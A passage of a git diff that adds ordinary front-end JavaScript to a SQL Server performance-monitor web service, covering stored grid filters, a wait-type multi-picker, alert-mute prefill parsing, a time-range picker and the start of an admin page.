+function parseValues(v) {
+  if (!v || typeof v !== "object") return null;
+  if (v.mode !== "hide" && v.mode !== "showOnly") return null;
+  if (!Array.isArray(v.set) || v.set.length > FILTER_STORE_MAX_VALUES || typeof v.blank !== "boolean") return null;
+  if (!v.set.every((s) => isStr(s, STORE_MAX_TEXT))) return null;
+  return { mode: v.mode, set: [...v.set], blank: v.blank };
+}
+
+/** Whether a stored column filter narrows anything (a text match, an Is empty test, or a value part). */
+const entryOn = (e) => e.op === "isEmpty" || e.op === "isNotEmpty" || String(e.text ?? "").trim() !== "" || !!e.values;
+
+/** One stored column filter, checked field by field; null when it is not a usable one. `ops` lists the operators the page knows. */
+function parseColumn(f, ops) {
+  if (!f || typeof f !== "object") return null;
+  const op = typeof f.op === "string" && ops.includes(f.op) ? f.op : "contains";
+  const text = typeof f.text === "string" && f.text.length <= STORE_MAX_TEXT ? f.text : "";
+  const values = f.values === undefined ? null : parseValues(f.values);
+  const textOn = text.trim() !== "" || op === "isEmpty" || op === "isNotEmpty";
+  if (!textOn && !values) return null;
+  return values ? { op, text, values } : { op, text };
+}
+
+/**
+ * The text kept for `grids` (a Map of grid key -> Map of column id -> { op, text, values? }, least recently used
+ * first): at most FILTER_STORE_MAX_GRIDS grids, the newest kept, the value part of a column dropped when its set is
+ * longer than FILTER_STORE_MAX_VALUES (it stays in the page, it is just not kept, and the text match is), and a column
+ * flagged `session` (a text match on a column that gets no list) left out altogether.
+ */
+export function serializeFilters(grids) {
+  const list = [...grids].map(([key, cols]) => {
+    const out = {};
+    for (const [id, f] of cols) {
+      /* A column named like a statement, a plan or a message keeps nothing. A text match typed on a column the page
+         marked `session` (valueList: false) lasts the session only, so only its value part, if it still holds one, is kept. */
+      if (noListName(id)) continue;
+      const v = f.values && valuesOn(f.values) && f.values.set.length <= FILTER_STORE_MAX_VALUES ? f.values : null;
+      const entry = f.session ? { op: "contains", text: "" } : { op: f.op, text: f.text ?? "" };
+      if (v) entry.values = { mode: v.mode, set: [...v.set], blank: v.blank };
+      if (entryOn(entry)) out[id] = entry;
+    }
+    return [key, out];
+  }).filter(([, out]) => Object.keys(out).length > 0).slice(-FILTER_STORE_MAX_GRIDS);
+  return JSON.stringify({ v: 1, grids: list });
+}
+
+/**
+ * The filters in a stored text, as a Map like serializeFilters takes. Anything unreadable gives an empty map, and a
+ * grid, a column or a value part that does not check out is left out on its own. Never throws.
+ */
+export function parseFilters(text, ops) {
+  const result = new Map();
+  let doc;
+  try {
+    doc = JSON.parse(text);
+  } catch {
+    return result;
+  }
+  if (!doc || typeof doc !== "object" || doc.v !== 1 || !Array.isArray(doc.grids)) return result;
+  for (const g of doc.grids.slice(-FILTER_STORE_MAX_GRIDS)) {
+    if (!Array.isArray(g) || g.length !== 2 || !isStr(g[0], STORE_MAX_KEY) || !g[1] || typeof g[1] !== "object") continue;
+    const cols = new Map();
+    for (const [id, f] of Object.entries(g[1])) {
+      if (noListName(id)) continue;
+      const col = parseColumn(f, ops);
+      if (col) cols.set(id, col);
+    }
+    if (cols.size) {
+      result.delete(g[0]);
+      result.set(g[0], cols);
+    }
+  }
+  return result;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/multi-picker.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/multi-picker.js
new file mode 100644
index 0000000000..c194afde1e
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/multi-picker.js
@@ -0,0 +1,217 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * A checkbox list with a search box, Select All / Clear All / Top waits buttons and an optional metric switch: the
+ * web twin of the desktop viewer's wait-type picker. It is pure UI state plus DOM; the caller owns the reads and the
+ * chart, and is told through onChange when the checked set or the metric changed.
+ *
+ * The 60 s poll rebuilds the tab, so the checked set, the search text and the metric live at MODULE scope, keyed by
+ * the caller's key (the server), and a rebuilt picker reads them back. The checked set starts as the caller's defaults
+ * and stays the reader's once they touch it, even when it is empty. A checked value the rebuilt options no longer hold
+ * (a wait that fell out of the top list on this poll) stays checked and stays listed after the options, so a poll never
+ * unchecks what the reader chose. The search box's focus and caret are held too: the rebuild replaces the input, and
+ * restoreFocus() puts the caret back in the new one when the old one had focus.
+ *
+ * R4: every label reaches the DOM through el's text path.
+ */
+
+import { el, mount } from "./util.js";
+
+const states = new Map();
+
+/** The held state for `key`, created empty (checked: null means "not touched yet, use the defaults"). */
+export function pickerState(key) {
+  let s = states.get(key);
+  if (!s) {
+    s = { checked: null, search: "", metric: null };
+    states.set(key, s);
+  }
+  return s;
+}
+
+/** Forget every held state. For tests. */
+export function resetPickerStates() {
+  states.clear();
+}
+
+/**
+ * The desktop's default wait set, bounded by `max`: the resource-starvation waits first, then the usual suspects and
+ * the PAGELATCH_ family, then the heaviest of what is left, all drawn only from `available` (heaviest first).
+ */
+export function topWaitDefaults(available, max) {
+  const poison = ["THREADPOOL", "RESOURCE_SEMAPHORE", "RESOURCE_SEMAPHORE_QUERY_COMPILE"];
+  const suspects = ["SOS_SCHEDULER_YIELD", "CXPACKET", "CXCONSUMER", "PAGEIOLATCH_SH", "PAGEIOLATCH_EX", "WRITELOG"];
+  const have = new Set(available);
+  const picked = [];
+  const add = (w) => {
+    if (picked.length < max && have.has(w) && !picked.includes(w)) picked.push(w);
+  };
+  poison.forEach(add);
+  suspects.forEach(add);
+  available.filter((w) => w.toUpperCase().startsWith("PAGELATCH_")).forEach(add);
+  available.forEach(add);
+  return picked;
+}
+
+/**
+ * Merge per-series trend rows into one row per time. `series` is [{ key, rows }]; each row holds `xKey` and the
+ * value under `valueKey`. Rows sharing an x value share one merged row; the result is ordered by x.
+ */
+export function mergeSeriesRows(series, xKey, valueKey) {
+  const byTime = new Map();
+  for (const s of series) {
+    for (const r of s.rows || []) {
+      const t = r[xKey];
+      let row = byTime.get(t);
+      if (!row) {
+        row = { [xKey]: t };
+        byTime.set(t, row);
+      }
+      row[s.key] = r[valueKey];
+    }
+  }
+  return [...byTime.values()].sort((a, b) => (a[xKey] < b[xKey] ? -1 : a[xKey] > b[xKey] ? 1 : 0));
+}
+
+/**
+ * Build the picker. `opts`: key (state key), label, options (string values, heaviest first), max (cap on checked),
+ * metrics (optional [{ value, label }]), onChange(checkedValuesInOptionOrder, metricValue). Optional wording and default
+ * set for pickers that are not about waits: noun (default "wait"), defaultsLabel (default "Top waits") and
+ * defaults(options, max) (default topWaitDefaults). `selectAll: false` leaves out the Select All button (default true, so the
+ * wait pickers do not change), a null `defaultsLabel` leaves out the defaults button, and `refuse(value, checkedSet)` may
+ * return a sentence that refuses checking `value` (a bound other than the count, such as the database filter's byte budget):
+ * the box is disabled and the sentence shows as the hint. `onSearch(text)` (default none) runs after each keystroke in the search
+ * box, once the list is filtered, for a caller whose options are only part of a longer list and so asks its source for the match (#5314).
+ * `answeredFor` (default null) is the search text (trimmed) that `options` are the source's answer for: while the box holds exactly
+ * that text, the options are listed as the source sent them, with no second filter here, because the source's own matching (a
+ * database's case folding) can differ from this file's `toLowerCase()`. A different text, such as a newer keystroke whose answer is
+ * still in flight, filters the options here as usual (#5314).
+ * Returns { node, checked(), metric(), restoreFocus() }: call restoreFocus() once node is in the page.
+ */
+export function multiPicker(opts) {
+  const { key, label, options, max, metrics = null, onChange, noun = "wait", defaultsLabel = "Top waits", defaults: defaultSet = topWaitDefaults, selectAll: withSelectAll = true, refuse = null, onSearch = null, answeredFor = null } = opts;
+  const state = pickerState(key);
+  const defaults = () => defaultSet(options, max);
+  state.checked = state.checked ? new Set(state.checked) : new Set(defaults());
+  const known = new Set(options);
+  /* The listed values: the caller's options, then any checked value they no longer hold. */
+  const listedValues = [...options, ...[...state.checked].filter((v) => !known.has(v))];
+  if (metrics && metrics.length && !metrics.some((m) => m.value === state.metric)) state.metric = metrics[0].value;
+
+  const search = el("input", { type: "search", class: "mp-search", "aria-label": "Search " + label, placeholder: "Search" });
+  search.value = state.search;
+  const count = el("span", { class: "mp-count" });
+  const hint = el("span", { class: "mp-hint" });
+  const list = el("div", { class: "mp-list", role: "group", "aria-label": label });
+
+  const visible = () => {
+    const text = state.search.trim();
+    const q = text.toLowerCase();
+    if (q && answeredFor !== null && text === answeredFor) {
+      /* The options are the source's answer for this very text: list them as sent. A checked value the answer does not
+         hold is still listed after them only when it matches here. */
+      return listedValues.filter((o) => known.has(o) || o.toLowerCase().includes(q));
+    }
+    return q ? listedValues.filter((o) => o.toLowerCase().includes(q)) : listedValues;
+  };
+  const changed = () => {
+    render();
+    onChange(listedValues.filter((o) => state.checked.has(o)), state.metric);
+  };
+  const render = () => {
+    const full = state.checked.size >= max;
+    const limitHint = "Limit reached: uncheck a " + noun + " to pick another.";
+    const blocked = (o) => (refuse && !state.checked.has(o) ? refuse(o, state.checked) : null);
+    count.textContent = state.checked.size + " / " + max + " selected";
+    hint.textContent = full ? limitHint : (listedValues.map(blocked).find((r) => r) || "");
+    const rows = visible().map((o) => {
+      const on = state.checked.has(o);
+      const box = el("input", { type: "checkbox", "aria-label": o });
+      box.checked = on;
+      box.disabled = (full && !on) || !!blocked(o);
+      box.addEventListener("change", () => {
+        if (box.checked) {
+          if (state.checked.size >= max) {
+            box.checked = false;
+            hint.textContent = limitHint;
+            return;
+          }
+          const why = blocked(o);
+          if (why) {
+            box.checked = false;
+            hint.textContent = why;
+            return;
+          }
+          state.checked.add(o);
+        } else {
+          state.checked.delete(o);
+        }
+        changed();
+      });
+      return el("label", { class: "mp-item" }, [box, el("span", { text: o })]);
+    });
+    mount(list, rows.length ? rows : el("div", { class: "mp-none", text: "No " + noun + " matches the search." }));
+  };
+
+  search.addEventListener("input", () => {
+    state.search = search.value;
+    render();
+    if (onSearch) onSearch(state.search);
+  });
+  /* The rebuild replaces the input. When the one still in the page had focus, remember its caret now, while it is
+     still there, and put both back on the new input once it is mounted. */
+  const was = typeof document !== "undefined" ? document.activeElement : null;
+  const hadFocus = !!(was && was.dataset && was.dataset.mpKey === key);
+  const caret = hadFocus ? { start: was.selectionStart, end: was.selectionEnd } : null;
+  search.dataset.mpKey = key;
+  const restoreFocus = () => {
+    if (!hadFocus) return;
+    search.focus();
+    if (caret.start != null && typeof search.setSelectionRange === "function") search.setSelectionRange(caret.start, caret.end);
+  };
+  const button = (text, handler) => el("button", { type: "button", class: "btn mp-btn", text, onClick: handler });
+  const selectAll = button("Select All", () => {
+    for (const o of visible()) if (state.checked.size < max) state.checked.add(o);
+    changed();
+  });
+  const clearAll = button("Clear All", () => {
+    for (const o of visible()) state.checked.delete(o);
+    changed();
+  });
+  const top = defaultsLabel === null ? null : button(defaultsLabel, () => {
+    state.checked = new Set(defaults());
+    changed();
+  });
+
+  let metricSelect = null;
+  if (metrics && metrics.length) {
+    metricSelect = el("select", { class: "range-select-inline", "aria-label": "Metric" }, metrics.map((m) => el("option", { value: m.value, text: m.label })));
+    metricSelect.value = state.metric;
+    metricSelect.addEventListener("change", () => {
+      state.metric = metricSelect.value;
+      changed();
+    });
+  }
+
+  render();
+  const node = el("div", { class: "multi-picker" }, [
+    el("div", { class: "mp-bar" }, [
+      el("span", { class: "mp-label", text: label }),
+      search,
+      withSelectAll ? selectAll : null,
+      clearAll,
+      top,
+      metricSelect ? el("label", { class: "range-control" }, [el("span", { text: "Metric" }), metricSelect]) : null,
+      count,
+    ]),
+    hint,
+    list,
+  ]);
+  return { node, checked: () => listedValues.filter((o) => state.checked.has(o)), metric: () => state.metric, restoreFocus };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/mute-context.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/mute-context.js
new file mode 100644
index 0000000000..32ce950dee
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/mute-context.js
@@ -0,0 +1,87 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * What "Mute this alert" pre-fills into the Mute Rules form from an Alert History row. Pure functions, no DOM
+ * and no imports, so MuteRulesBehaviourTests runs them under Node.
+ *
+ * The rule has to match the alert it came from. The row's server_name is the registry DISPLAY name, which can
+ * differ from the spelling the producer's mute context carries, so a by-name rule built from it can miss:
+ *   - a row with a store id (server_id != 0) is keyed on that id, which the producer's context carries, and the
+ *     stored spelling rides along as the label (the Viewer does the same);
+ *   - a row with no id (the self-alert family, written under server_id 0) matches by name against its own stored
+ *     spelling, so that is what is pre-filled (stored_server_name, falling back to server_name on an old payload).
+ * The database, wait type, job and query dimensions come from the row's detail text, the same parse the Viewer's
+ * AlertMuteContext.PopulateFromDetailText applies.
+ */
+
+const QUERY_PREFIXES = ["Query: ", "Blocked Query: ", "Blocking Query: ", "Victim SQL: "];
+const QUERY_MAX = 200;
+/* What a collector stores for a statement it withheld (SensitiveStatements.PlaceholderText, #4348). A mute rule on
+ * it would match every withheld statement and nothing else, so no query pattern is seeded from it. */
+const WITHHELD_MARKER = "-- statement text withheld (#4348)";
+
+/** True when the text is the withheld marker, ignoring surrounding whitespace the way the C# check does
+ *  (WithheldStatementMarker.IsMarker and AlertMuteContext.SeedQueryTextPattern trim before comparing). */
+export function isWithheldMarker(text) {
+  return typeof text === "string" && text.trim() === WITHHELD_MARKER;
+}
+
+/** Parses an alert's detail text into the mute-context dimensions. Mirrors AlertMuteContext.PopulateFromDetailText:
+ *  indented "Label: value" lines, a multi-line query value, and no parse at all for a custom alert. */
+export function parseDetailContext(detailText, metricName) {
+  const ctx = { database: null, waitType: null, jobName: null, queryText: null };
+  if (!detailText) return ctx;
+  if (typeof metricName === "string" && metricName.startsWith("Custom:")) return ctx;
+
+  let query = null;
+  const flush = () => {
+    if (query !== null && ctx.queryText === null) ctx.queryText = query;
+    query = null;
+  };
+
+  for (const line of String(detailText).split("\n")) {
+    const trimmed = line.trimStart();
+    const prefix = QUERY_PREFIXES.find((p) => trimmed.startsWith(p));
+    if (ctx.database === null && trimmed.startsWith("Database: ")) {
+      flush();
+      ctx.database = trimmed.substring("Database: ".length).trim();
+    } else if (ctx.waitType === null && trimmed.startsWith("Wait Type: ")) {
+      flush();
+      ctx.waitType = trimmed.substring("Wait Type: ".length).trim();
+    } else if (ctx.jobName === null && trimmed.startsWith("Job Name: ")) {
+      flush();
+      ctx.jobName = trimmed.substring("Job Name: ".length).trim();
+    } else if (ctx.queryText === null && query === null && prefix) {
+      query = trimmed.substring(prefix.length).trim();
+    } else if (query !== null) {
+      if (trimmed.trim() === "" || line.startsWith("  ")) flush();
+      else query += " " + trimmed.trim();
+    }
+  }
+  flush();
+  return ctx;
+}
+
+/** The query-string parameters "Mute this alert" opens the create form with. Empty values are dropped by buildQuery. */
+export function mutePrefillParams(a) {
+  const stored = a.stored_server_name || a.server_name;
+  const id = Number(a.server_id);
+  const d = parseDetailContext(a.detail_text, a.metric_name);
+  const params = {
+    server_id: Number.isInteger(id) && id !== 0 ? id : null,
+    server_name: stored,
+    metric_name: a.metric_name,
+    database_pattern: d.database,
+    wait_type_pattern: d.waitType,
+    query_text_pattern: isWithheldMarker(d.queryText) ? null
+      : d.queryText && d.queryText.length > QUERY_MAX ? d.queryText.substring(0, QUERY_MAX) : d.queryText,
+    job_name_pattern: d.jobName,
+  };
+  return params;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/page-range.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/page-range.js
new file mode 100644
index 0000000000..ebcab2b58a
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/page-range.js
@@ -0,0 +1,175 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * The shared time range picker on a page that shows ONE read (#5562, lane L2b): the alerts, sweeps, job history, FinOps, views and
+ * view-editor pages. It mounts timeRangePicker with the page's range and fills in what only the catalog knows once /api/catalog
+ * answers: the read's reach (`max_hours`, so a range the read refuses is greyed out with the reason, never clamped) and the main
+ * collector's actual interval (`collector_interval_minutes`, so a span holding fewer than 3 samples says how often the data is
+ * collected, and never widens the range). Until the catalog answers the picker holds the common 168 hour reach and no note.
+ *
+ *   const { picker, ready } = pageRangePicker({ read: "get_job_history", spec, onChange: (spec, range) => reload() });
+ *   host.appendChild(picker.node);
+ *   const w = picker.window();   // { hours, asOf, live, startMs, endMs }: send `hours`, and `as_of` when it is not null
+ *
+ * `rollingOnly` is the FinOps shape (R5): "this many hours back from now", no calendar periods, no custom end, at least an hour.
+ */
+
+import { timeRangePicker } from "./time-range-picker.js";
+import { reachHours, collectorIntervalMs, resolveSpec, readWindow, browserZone, relativeSpec, ROLLING_PRESETS } from "./time-range.js";
+import { getCatalog } from "./views-api.js";
+import { apiGet } from "./util.js";
+
+const HOUR_MS = 3600000;
+const SERVER_CATALOG_TTL_MS = 5 * 60000;
+
+const serverCatalogs = new Map();
+
+/** The window a read takes for a held spec as of now: `{ hours, asOf, live, startMs, endMs }`, or null when the spec cannot be resolved
+ *  (a calendar period at exactly its start, zero length). A page that keeps its choice at module scope (so a 60 s poll or a visit elsewhere keeps
+ *  it) calls this on every read, so a live range slides with the clock. */
+export function windowOfSpec(spec, nowMs = Date.now(), zone = browserZone()) {
+  const r = resolveSpec(spec, nowMs, zone);
+  return r.ok ? readWindow(r.range, nowMs) : null;
+}
+
+/** Like windowOfSpec, but says why a spec cannot be read: `{ window }` or `{ error: message }`. A page shows the message (a Today range
+ *  at exactly midnight) instead of quietly reading a different window (#5562 review r1 L3). */
+export function windowResultOfSpec(spec, nowMs = Date.now(), zone = browserZone()) {
+  const r = resolveSpec(spec, nowMs, zone);
+  return r.ok ? { window: readWindow(r.range, nowMs) } : { error: r.error.message };
+}
+
+/** One catalog entry by read name from the fleet-wide catalog, or null. */
+export async function catalogEntryFor(read) {
+  const catalog = await getCatalog();
+  return (catalog.reads || []).find((r) => r && r.name === read) || null;
+}
+
+/** The catalog with the SERVER's own collector intervals (a per-server schedule row wins), cached per server. Null when it cannot be read. */
+export function serverCatalog(server) {
+  const held = serverCatalogs.get(server);
+  /* An entry expires when it is looked up after its time, not by a timer: a pending timer keeps a Node harness alive for the whole
+     TTL (the picker harness waited 300 s to exit before this). */
+  if (held && held.readAt !== null && Date.now() - held.readAt >= SERVER_CATALOG_TTL_MS) serverCatalogs.delete(server);
+  if (!serverCatalogs.has(server)) {
+    /* Only a catalog that was read is kept (#5562 review r1 L2): a failed fetch is not cached as null for the page's life, and a
+       schedule edited in Settings is seen again after the entry expires. */
+    const entry = { readAt: null, fetched: null };
+    entry.fetched = apiGet("/api/catalog?server=" + encodeURIComponent(server)).then((r) => (r.kind === "data" && r.data ? r.data : null));
+    serverCatalogs.set(server, entry);
+    entry.fetched.then((catalog) => {
+      if (catalog === null) {
+        if (serverCatalogs.get(server) === entry) serverCatalogs.delete(server);
+      } else {
+        entry.readAt = Date.now();
+      }
+    }, () => {
+      if (serverCatalogs.get(server) === entry) serverCatalogs.delete(server);
+    });
+  }
+  return serverCatalogs.get(server).fetched;
+}
+
+/** The interval, in milliseconds, of one collector on this server as the catalog serves it: every read of a collector carries the same
+ *  schedule, so the first windowed read that names the collector answers. Null when none does (no note). */
+export function collectorIntervalFromCatalog(catalog, collector) {
+  if (!catalog || !collector) return null;
+  for (const entry of catalog.reads || []) {
+    const param = entry && Array.isArray(entry.params) ? entry.params.find((p) => p && p.name === "hours") : null;
+    if (param && param.collector === collector) {
+      const ms = collectorIntervalMs(entry);
+      if (ms) return ms;
+    }
+  }
+  return null;
+}
+
+/**
+ * Mounts the picker for one read. `ready` resolves after the catalog entry has set the reach and the sample interval; a page that
+ * must wait for the reach (to restore a stored range) can await it.
+ *
+ * @param {object} opts
+ * @param {string} opts.read the catalog read the page calls (its `hours` param carries the reach and the collector's interval)
+ * @param {number} [opts.reachHours] a reach the page knows better than the catalog; prefer `opts.view`, which reads it from the catalog
+ * @param {string} [opts.view] a view of the read that reaches further than the read does (get_finops storage_growth): its reach is the
+ *   catalog's `view_max_hours[view]`, the number the server validates
+ * @param {string} [opts.server] ask the catalog for this server's own collector interval
+ * @param {boolean} [opts.useCatalogInterval] default true; false for a read that no collector feeds
+ * @param {boolean} [opts.offerReach] add the read's reach as the longest quick choice when it is longer than the shared 30 days (Alert History's 90)
+ */
+export function pageRangePicker(opts) {
+  const picker = timeRangePicker(opts);
+  const ready = (async () => {
+    try {
+      const entry = await catalogEntryFor(opts.read);
+      const viewMax = opts.view && entry && entry.params ? Number((hoursParam(entry).view_max_hours || {})[opts.view]) : NaN;
+      picker.setReach(viewMax > 0 ? viewMax : opts.reachHours > 0 ? opts.reachHours : reachHours(entry));
+      if (opts.offerReach) offerReach(picker);
+      if (opts.useCatalogInterval === false) return;
+      if (opts.server) {
+        const interval = collectorIntervalFromCatalog(await serverCatalog(opts.server), entry && entry.params ? hoursParam(entry).collector : null);
+        picker.setSampleInterval(interval || collectorIntervalMs(entry));
+      } else {
+        picker.setSampleInterval(collectorIntervalMs(entry));
+      }
+    } catch {
+      /* A catalog that cannot be read leaves the common reach and no note, exactly the picker's defaults. */
+    }
+  })();
+  return { picker, ready };
+}
+
+/**
+ * How far back a set of reads all reach, in hours: the smallest catalog `max_hours` among them (#5562 review r1 M4, ruling R2). A page
+ * that shows several reads at one range (a server-page tab) can only offer a range every one of them takes, so the shortest reach wins.
+ * A read with no catalog row, an empty list and a catalog that could not be read all give the common 168 hours: the page never offers
+ * a range a read has not said it takes. The number comes from the catalog, the validators' own table, never from the page.
+ */
+export function readsReachHours(catalog, reads) {
+  const entries = catalog && Array.isArray(catalog.reads) ? catalog.reads : [];
+  if (!Array.isArray(reads) || reads.length === 0) return reachHours(null);
+  return Math.min(...reads.map((name) => reachHours(entries.find((r) => r && r.name === name) || null)));
+}
+
+/** The reach as the longest quick choice, when it is longer than the shared list's 30 days (#5562 review r1 M5, ruling R8). */
+export function offerReach(picker) {
+  const hours = picker.reachHours();
+  if (hours * HOUR_MS > ROLLING_PRESETS[ROLLING_PRESETS.length - 1].spanMs) picker.setExtraPresets([relativeSpec(hours * HOUR_MS)]);
+}
+
+function hoursParam(entry) {
+  return (entry.params || []).find((p) => p && p.name === "hours") || {};
+}
+
+/**
+ * A rolling-only picker for a page whose setting is "this many hours back from now" and whose reach is its own, not one read's: a
+ * Custom View's scope (the compose runner takes up to 90 days) and the view editor's default range. It offers no calendar period
+ * and no custom end, because the stored setting is a number of hours, and it greys out what is longer than `reachHours` with the
+ * reason instead of clamping it.
+ *
+ * @param {object} opts
+ * @param {number} opts.hours the length to start on, in whole hours
+ * @param {number} opts.reachHours the longest length the page takes
+ * @param {(hours: number) => void} opts.onChange raised with the whole hours picked
+ * @param {string} [opts.label] the accessible name
+ */
+export function rollingHoursPicker(opts) {
+  const picker = timeRangePicker({
+    spec: relativeSpec(opts.hours * 3600000),
+    label: opts.label || "Time range",
+    reachHours: opts.reachHours,
+    rollingOnly: true,
+    onChange: () => {
+      const w = picker.window();
+      if (w) opts.onChange(w.hours);
+    },
+  });
+  offerReach(picker);
+  return picker;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/admin.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/admin.js
new file mode 100644
index 0000000000..2f4ce268b3
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/admin.js
@@ -0,0 +1,1204 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* Admin: a window onto what the desktop's Manage Servers, Notification Routes and Settings windows show.
+   Three tabs, each one existing read:
+     Servers             GET /api/admin/servers (every configured server, enabled or not)
+     Notification Routes get_notification_routes
+     Alert Settings      get_alert_settings
+   Routes and Settings change nothing. The Servers tab also lets a sign-in that can make changes edit one server in place
+   (#5240): an Edit button on each row opens a form above the grid, filled from GET /api/admin/servers/{id}.
+   The active tab rides in the hash (#/admin/<tab>) and in module scope, so the 60 s repaint keeps it.
+   Every cell is an allow-listed column or a key the settings read emits; a route row's destinations are never
+   read (the tool reports channel names only), and a settings key that looks like a credential is dropped before
+   it reaches a row. */
+
+import { VIZ } from "../panels.js";
+import { el, mount, loadingStrip, errorStrip, emptyStrip, noticeStrip, readTool, apiGet, apiWrite, onSessionExpired } from "../util.js";
+import { getSession } from "../views-api.js";
+
+export const SERVER_COLUMNS = [
+  { key: "display_name", label: "Display Name" },
+  { key: "server_name", label: "Server" },
+  { key: "auth", label: "Auth" },
+  { key: "engine", label: "Engine" },
+  { key: "version", label: "Version" },
+  { key: "status", label: "Status" },
+  { key: "freshness", label: "Freshness", statusSev: true },
+  { key: "monthly_cost", label: "Monthly Cost ($)", align: "right", sortValue: (r) => r.monthly_cost_usd },
+  { key: "read_only", label: "Read only", format: "bool" },
+  { key: "added", label: "Added", format: "time" },
+  { key: "last_collected", label: "Last Collected", format: "time" },
+];
+
+/* A disabled server's row is drawn with the grey row class the grid already uses for a canceled job run. */
+export function serverRowClass(row) {
+  return row && row.status === "Disabled" ? "band-Offline" : "";
+}
+
+/* The Edit button of one row (#5240): a row the list reports without a numeric server_id gets none, because the by-id
+   read and the edit are keyed on it. The label names the server for a screen reader. A button drawn while a save is in
+   flight (the poll or the re-read repaints the grid) is born disabled, so no other row opens mid-save; `disabled` is set
+   as a property because a `disabled="false"` attribute would still disable it. */
+function editCell(row) {
+  if (!row || !Number.isInteger(row.server_id)) return null;
+  const name = row.display_name || row.server_name || "server " + row.server_id;
+  const button = el("button", {
+    class: "btn",
+    type: "button",
+    text: "Edit",
+    "aria-label": "Edit " + name,
+    "data-server-id": String(row.server_id),
+    onClick: () => openEdit(row.server_id),
+  });
+  button.disabled = busy;
+  return button;
+}
+
+/* The trailing Edit column. Like the Mute column on Alert History it is the web's per-row write affordance: a link-only
+   cell, so the CSV and the copied text leave it out. */
+export const EDIT_COLUMN = { key: "edit", label: "Edit", csv: false, copy: false, render: editCell };
+
+/** The Servers grid's columns: SERVER_COLUMNS, plus the Edit column for a seat whose session reports can_edit. */
+export function serverColumns(canEdit) {
+  return canEdit ? SERVER_COLUMNS.concat([EDIT_COLUMN]) : SERVER_COLUMNS;
+}
+
+export const ROUTE_COLUMNS = [
+  { key: "route_id", label: "#", format: "int" },
+  { key: "enabled", label: "Enabled", format: "bool" },
+  { key: "metric_match", label: "Matches" },
+  { key: "match_kind", label: "Kind" },
+  { key: "family", label: "Family" },
+  { key: "channels", label: "Channels set", wrap: true },
+  { key: "smtp_recipients", label: "Email to", wrap: true },
+  { key: "modified_at_utc", label: "Modified", format: "time" },
+];
+
+/* The Setting column shows a readable label; the key stays as the cell's tooltip (and the row's `setting`), so a person
+   matching a setting to the MCP tool or the config still finds it (click-through 4d). */
+export const SETTING_COLUMNS = [
+  { key: "setting", label: "Setting", render: (row) => el("span", { title: row.setting, text: row.label || row.setting }) },
+  { key: "value", label: "Value", wrap: true },
+];
+
+const GROUP_LABELS = {
+  cpu: "CPU",
+  blocking: "Blocking",
+  deadlocks: "Deadlocks",
+  poison_wait: "Poison wait",
+  long_running_query: "Long-running query",
+  tempdb_space: "TempDB space",
+  low_disk: "Low disk",
+  self_alerts: "Monitor self-alerts",
+  pvs: "Version store (PVS)",
+  file_growth: "File growth",
+  long_running_job: "Long-running job",
+  failed_job: "Failed job",
+  database_state: "Database state",
+  ag: "Availability Groups",
+  delivery: "Delivery",
+  health_bands: "Health bands",
+  analysis: "Automated analysis",
+  fleet_sweep: "Fleet sweep reports",
+};
+
+/* A unit at the end of a key reads as a bracketed unit: wait_threshold_seconds -> "wait threshold (seconds)". */
+const KEY_UNITS = [
+  ["_seconds", "seconds"],
+  ["_minutes", "minutes"],
+  ["_percent", "%"],
+  ["_ms", "ms"],
+  ["_gb", "GB"],
+  ["_mb", "MB"],
+  ["_kb", "KB"],
+  ["_per_hour", "per hour"],
+];
+
+/** The readable label of one setting: "cpu.threshold_percent" -> "CPU: threshold (%)"; "connection_refire_minutes" ->
+    "Connection refire (minutes)". A key it has no rule for is its words with the underscores spaced out. */
+export function settingLabel(prefix, key) {
+  let words = String(key);
+  let unit = "";
+  for (const [suffix, text] of KEY_UNITS) {
+    if (words.endsWith(suffix) && words.length > suffix.length) {
+      words = words.slice(0, -suffix.length);
+      unit = " (" + text + ")";
+      break;
+    }
+  }
+  words = words.replace(/_/g, " ").replace(/\bpg\b/g, "PostgreSQL");
+  words = words.charAt(0).toUpperCase() + words.slice(1);
+  if (!prefix) return words + unit;
+  const group = GROUP_LABELS[prefix] || prefix.replace(/_/g, " ");
+  return group + ": " + (/^[A-Z][A-Z]/.test(words) || words.startsWith("PostgreSQL") ? words : words.charAt(0).toLowerCase() + words.slice(1)) + unit;
+}
+
+/* The groups, in the Settings window's order. A key listed here is read from the payload's top level or from the
+   named group; a group the read does not carry is left out rather than shown empty. */
+export const SETTING_SECTIONS = [
+  {
+    title: "Alert thresholds",
+    groups: ["cpu", "blocking", "deadlocks", "poison_wait", "long_running_query", "tempdb_space", "low_disk",
+      "self_alerts", "pvs", "file_growth", "long_running_job", "failed_job", "database_state", "ag", "delivery"],
+    top: ["alerts_enabled", "notify_connection_changes", "notify_connection_down_at_startup", "connection_refire_minutes",
+      "cooldown_minutes"],
+    groupFields: { long_running_query: ["enabled", "threshold_minutes", "max_results"] },
+  },
